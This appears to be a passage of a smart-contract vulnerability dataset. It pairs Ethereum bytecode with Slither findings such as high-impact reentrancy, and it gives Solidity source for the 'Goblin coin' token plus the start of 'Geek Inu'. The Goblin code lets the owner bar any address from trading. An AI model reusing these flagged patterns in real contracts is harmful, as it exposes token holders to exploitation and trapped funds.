94955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a26469706673582212209744736b92a43800ca607e20f30148f7fd4229f5c0b5243c59e61da9343d930d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,640 |
0xa103954ff86ca32ac97962cd4541ea243555679b | /**
*/
/**
Telegram: https://t.me/GoblinCoinEth
/**
/**
//SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Goblincoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Goblin coin";
string private constant _symbol = "Goblin coin";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x9E5DabdC76F1f116282C5EAc0fbE4b78C92C9f8f);
_feeAddrWallet2 = payable(0x53F179D015ce80Aec48ba48544A90dc3562ba24C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461029a578063b515566a146102ba578063c3c8cd80146102da578063c9567bf9146102ef578063dd62ed3e1461030457600080fd5b806370a082311461023d578063715018a61461025d5780638da5cb5b1461027257806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146101ec5780635932ead1146102085780636fc3eaec1461022857600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600b81526a23b7b13634b71031b7b4b760a91b602082015290516101489190611797565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611637565b61034a565b6040519015158152602001610148565b34801561018d57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610148565b3480156101b657600080fd5b506101716101c53660046115f6565b610361565b3480156101d657600080fd5b506101ea6101e5366004611583565b6103ca565b005b3480156101f857600080fd5b5060405160098152602001610148565b34801561021457600080fd5b506101ea61022336600461172f565b61041e565b34801561023457600080fd5b506101ea610466565b34801561024957600080fd5b5061019c610258366004611583565b610493565b34801561026957600080fd5b506101ea6104b5565b34801561027e57600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102a657600080fd5b506101716102b5366004611637565b610529565b3480156102c657600080fd5b506101ea6102d5366004611663565b610536565b3480156102e657600080fd5b506101ea6105cc565b3480156102fb57600080fd5b506101ea610602565b34801561031057600080fd5b5061019c61031f3660046115bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103573384846109cb565b5060015b92915050565b600061036e848484610aef565b6103c084336103bb85604051806060016040528060288152602001611983602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e3a565b6109cb565b5060019392505050565b6000546001600160a01b031633146103fd5760405162461bcd60e51b81526004016103f4906117ec565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104485760405162461bcd60e51b81526004016103f4906117ec565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048657600080fd5b4761049081610e74565b50565b6001600160a01b03811660009081526002602052604081205461035b90610ef9565b6000546001600160a01b031633146104df5760405162461bcd60e51b81526004016103f4906117ec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610357338484610aef565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016103f4906117ec565b60005b81518110156105c85760016006600084848151811061058457610584611933565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c081611902565b915050610563565b5050565b600c546001600160a01b0316336001600160a01b0316146105ec57600080fd5b60006105f730610493565b905061049081610f7d565b6000546001600160a01b0316331461062c5760405162461bcd60e51b81526004016103f4906117ec565b600f54600160a01b900460ff16156106865760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f4565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c630826b033b2e3c9fd0803ce80000006109cb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ff57600080fd5b505afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073791906115a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077f57600080fd5b505afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b791906115a0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ff57600080fd5b505af1158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906115a0565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086781610493565b60008061087c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108df57600080fd5b505af11580156108f3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109189190611769565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099357600080fd5b505af11580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c8919061174c565b6001600160a01b038316610a2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f4565b6001600160a01b038216610a8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f4565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f4565b60008111610c175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f4565b6001600a55600b80556000546001600160a01b03848116911614801590610c4c57506000546001600160a01b03838116911614155b15610e2a576001600160a01b03831660009081526006602052604090205460ff16158015610c9357506001600160a01b03821660009081526006602052604090205460ff16155b610c9c57600080fd5b600f546001600160a01b038481169116148015610cc75750600e546001600160a01b03838116911614155b8015610cec57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d015750600f54600160b81b900460ff165b15610d5e57601054811115610d1557600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3957600080fd5b610d4442603c611892565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d895750600e546001600160a01b03848116911614155b8015610dae57506001600160a01b03831660009081526005602052604090205460ff16155b15610dbd576001600a55600b80555b6000610dc830610493565b600f54909150600160a81b900460ff16158015610df35750600f546001600160a01b03858116911614155b8015610e085750600f54600160b01b900460ff165b15610e2857610e1681610f7d565b478015610e2657610e2647610e74565b505b505b610e35838383611106565b505050565b60008184841115610e5e5760405162461bcd60e51b81526004016103f49190611797565b506000610e6b84866118eb565b95945050505050565b600c546001600160a01b03166108fc610e8e836002611111565b6040518115909202916000818181858888f19350505050158015610eb6573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ed1836002611111565b6040518115909202916000818181858888f193505050501580156105c8573d6000803e3d6000fd5b6000600854821115610f605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f4565b6000610f6a611153565b9050610f768382611111565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc557610fc5611933565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101957600080fd5b505afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105191906115a0565b8160018151811061106457611064611933565b6001600160a01b039283166020918202929092010152600e5461108a91309116846109cb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c3908590600090869030904290600401611821565b600060405180830381600087803b1580156110dd57600080fd5b505af11580156110f1573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e35838383611176565b6000610f7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126d565b600080600061116061129b565b909250905061116f8282611111565b9250505090565b600080600080600080611188876112e3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ba9087611340565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e99086611382565b6001600160a01b03891660009081526002602052604090205561120b816113e1565b611215848361142b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125a91815260200190565b60405180910390a3505050505050505050565b6000818361128e5760405162461bcd60e51b81526004016103f49190611797565b506000610e6b84866118aa565b60085460009081906b033b2e3c9fd0803ce80000006112ba8282611111565b8210156112da575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113008a600a54600b5461144f565b9250925092506000611310611153565b905060008060006113238e8787876114a4565b919e509c509a509598509396509194505050505091939550919395565b6000610f7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3a565b60008061138f8385611892565b905083811015610f765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f4565b60006113eb611153565b905060006113f983836114f4565b306000908152600260205260409020549091506114169082611382565b30600090815260026020526040902055505050565b6008546114389083611340565b6008556009546114489082611382565b6009555050565b6000808080611469606461146389896114f4565b90611111565b9050600061147c60646114638a896114f4565b905060006114948261148e8b86611340565b90611340565b9992985090965090945050505050565b60008080806114b388866114f4565b905060006114c188876114f4565b905060006114cf88886114f4565b905060006114e18261148e8686611340565b939b939a50919850919650505050505050565b6000826115035750600061035b565b600061150f83856118cc565b90508261151c85836118aa565b14610f765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f4565b803561157e8161195f565b919050565b60006020828403121561159557600080fd5b8135610f768161195f565b6000602082840312156115b257600080fd5b8151610f768161195f565b600080604083850312156115d057600080fd5b82356115db8161195f565b915060208301356115eb8161195f565b809150509250929050565b60008060006060848603121561160b57600080fd5b83356116168161195f565b925060208401356116268161195f565b929592945050506040919091013590565b6000806040838503121561164a57600080fd5b82356116558161195f565b946020939093013593505050565b6000602080838503121561167657600080fd5b823567ffffffffffffffff8082111561168e57600080fd5b818501915085601f8301126116a257600080fd5b8135818111156116b4576116b4611949565b8060051b604051601f19603f830116810181811085821117156116d9576116d9611949565b604052828152858101935084860182860187018a10156116f857600080fd5b600095505b838610156117225761170e81611573565b8552600195909501949386019386016116fd565b5098975050505050505050565b60006020828403121561174157600080fd5b8135610f7681611974565b60006020828403121561175e57600080fd5b8151610f7681611974565b60008060006060848603121561177e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c4578581018301518582016040015282016117a8565b818111156117d6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118715784516001600160a01b03168352938301939183019160010161184c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a5576118a561191d565b500190565b6000826118c757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e6576118e661191d565b500290565b6000828210156118fd576118fd61191d565b500390565b60006000198214156119165761191661191d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461049057600080fd5b801515811461049057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c1d72f08156665078df425c3c5909a7141f77ddcf48b8b5bcedf392ccd57c7064736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,641 |
0x5a31334078f2110f762395ad3453e514ab6a8022 | /**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
/*
https://t.me/GEEKINU
Geek Inu spends all day in the library, hes studied hard and learnt the best way to launch a token with a perfected code. The smartest of all the Inus he knows what hes doing for a perfect launch.
All he asks is your support in buying small and holding for the ride up! Inspired by hard workers all around we have a dedicated team that have managed to bring this launch together!
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 9% Team tokens
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
